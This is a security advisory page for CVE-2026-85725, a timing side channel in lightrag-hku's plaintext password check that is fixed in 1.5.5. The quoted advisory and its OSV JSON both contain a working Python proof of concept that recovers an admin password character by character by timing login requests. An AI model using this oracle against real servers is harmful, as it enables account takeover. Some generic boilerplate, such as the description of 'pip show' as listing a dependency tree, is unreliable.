CVE-2026-85725: lightrag-hku Plaintext Passwords Compared Without Constant-Time Vulnerability

MODERATE
Advisory Identifier: GHSA-c759-cx9p-mrwq
Share
CVSS 5.9
CWE-208
Published
Advisory Summary

CVE-2026-85725 is a MODERATE (CVSS 5.9) plaintext passwords compared without constant-time vulnerability (CWE-208: Observable Timing Discrepancy) affecting lightrag-hku libraries in the PyPI ecosystem. The issue involves plaintext passwords compared without constant-time function. Remediation is available by upgrading affected packages to version 1.5.5.

CVE-2026-85725 at a Glance

CVE Identifier CVE-2026-85725
GHSA Identifier GHSA-c759-cx9p-mrwq
Severity MODERATE
CVSS v3.1 Base Score 5.9
CWE Classification CWE-208: Observable Timing Discrepancy
Affected Product lightrag-hku
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 5.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-85725

To remediate this vulnerability, upgrade all affected lightrag-hku dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

lightrag-hku fixed: 1.5.5 
pip install lightrag-hku>=1.5.5
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

pip show lightrag-hku

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2026-85725, inspect your installed packages using pip:

pip show lightrag-hku

Analyze the terminal output to locate any version of lightrag-hku in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.5.5), your application is affected.

Note: The pip show lightrag-hku command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-208: Observable Timing Discrepancy, where two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not. In lightrag-hku, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character. ### Details ```python # lightrag/api/passwords.py:13-26 def verify_password(plain_password: str, stored_password: str) -> bool: if stored_password.startswith("{bcrypt}"): ... return bcrypt.checkpw(...) # constant-time OK return stored_password == plain_password # NOT constant-time VULN # Python == short-circuits on first mismatched byte # Timing leaks: password length + individual characters ``` ### PoC ```python # Timing oracle: recover password char-by-char import httpx, time, string TARGET = "http://<TARGET>:9621/login" USER = "admin" def measure(pwd: str) -> float: t = time.perf_counter() httpx.post(TARGET, data={"username": USER, "password": pwd}) return time.perf_counter() - t known = "" for _ in range(32): best = max(string.printable, key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10))) known += best print(f"Recovered: {known}") ``` ### Impact Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

CVE-2026-85725 Affected lightrag-hku Versions

1 component(s)
Fixed Versions:
1.5.5
Product / Package Ecosystem Affected Versions Fixed Version
lightrag-hku
pypi/lightrag-hku
PyPI
< 1.5.5
1.5.5

References

GitHub Advisory / Wiki ADVISORY
https://github.com/HKUDS/LightRAG/security/advisories/GHSA-c759-cx9p-mrwq
NVD — CVE-2026-85725 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-85725
lightrag-hku Source Repository REPOSITORY
https://github.com/HKUDS/LightRAG/pull/3423
Security Fix Commit FIX COMMIT
https://github.com/HKUDS/LightRAG/commit/89849c3ed0e0380345a6b5bade027cfb9a5bf32c
lightrag-hku Source Repository REPOSITORY
https://github.com/HKUDS/LightRAG
lightrag-hku Release RELEASE
https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5

Frequently Asked Questions

What is CVE-2026-85725?
CVE-2026-85725 is a security vulnerability in lightrag-hku involving Plaintext Passwords Compared Without Constant-Time Function under CWE-208: Observable Timing Discrepancy.
Which lightrag-hku versions are affected?
Affected versions include releases prior to 1.5.5 across affected packages: lightrag-hku.
What version fixes CVE-2026-85725?
Upgrading to 1.5.5 (or the latest patched release for your respective branch) resolves the vulnerability.
Is lightrag-hku affected?
Yes, lightrag-hku is affected in releases prior to 1.5.5. Upgrade your dependency to 1.5.5 or later.
What is the CVSS score of CVE-2026-85725?
CVE-2026-85725 has a CVSS v3.1 base score of 5.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-85725?
CVE-2026-85725 is classified under CWE-208: Observable Timing Discrepancy (Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not.).
How can I check PyPI dependencies for CVE-2026-85725?
Run the dependency tree command: 'pip show lightrag-hku'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c759-cx9p-mrwq",
  "modified" : "2026-09-22T20:40:20Z",
  "published" : "2026-09-22T20:40:19Z",
  "aliases" : [ "CVE-2026-85725" ],
  "summary" : "lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function",
  "details" : "### Summary\nWhen plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.\n\n### Details\n\n```python\n# lightrag/api/passwords.py:13-26\ndef verify_password(plain_password: str, stored_password: str) -> bool:\n    if stored_password.startswith(\"{bcrypt}\"):\n        ...\n        return bcrypt.checkpw(...)    # constant-time  OK\n\n    return stored_password == plain_password  # NOT constant-time  VULN\n    #   Python == short-circuits on first mismatched byte\n    #   Timing leaks: password length + individual characters\n```\n\n### PoC\n\n```python\n# Timing oracle: recover password char-by-char\nimport httpx, time, string\n\nTARGET = \"http://<TARGET>:9621/login\"\nUSER   = \"admin\"\n\ndef measure(pwd: str) -> float:\n    t = time.perf_counter()\n    httpx.post(TARGET, data={\"username\": USER, \"password\": pwd})\n    return time.perf_counter() - t\n\nknown = \"\"\nfor _ in range(32):\n    best = max(string.printable,\n               key=lambda c: sum(measure(known+c+\"A\"*20) for _ in range(10)))\n    known += best\n    print(f\"Recovered: {known}\")\n```\n\n### Impact\nObservable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "lightrag-hku"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.5.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.5.4"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/security/advisories/GHSA-c759-cx9p-mrwq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-85725"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/pull/3423"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/commit/89849c3ed0e0380345a6b5bade027cfb9a5bf32c"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/HKUDS/LightRAG"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/HKUDS/LightRAG/releases/tag/v1.5.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-208" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-22T20:40:19Z",
    "nvd_published_at" : "2026-09-22T17:17:27Z"
  }
}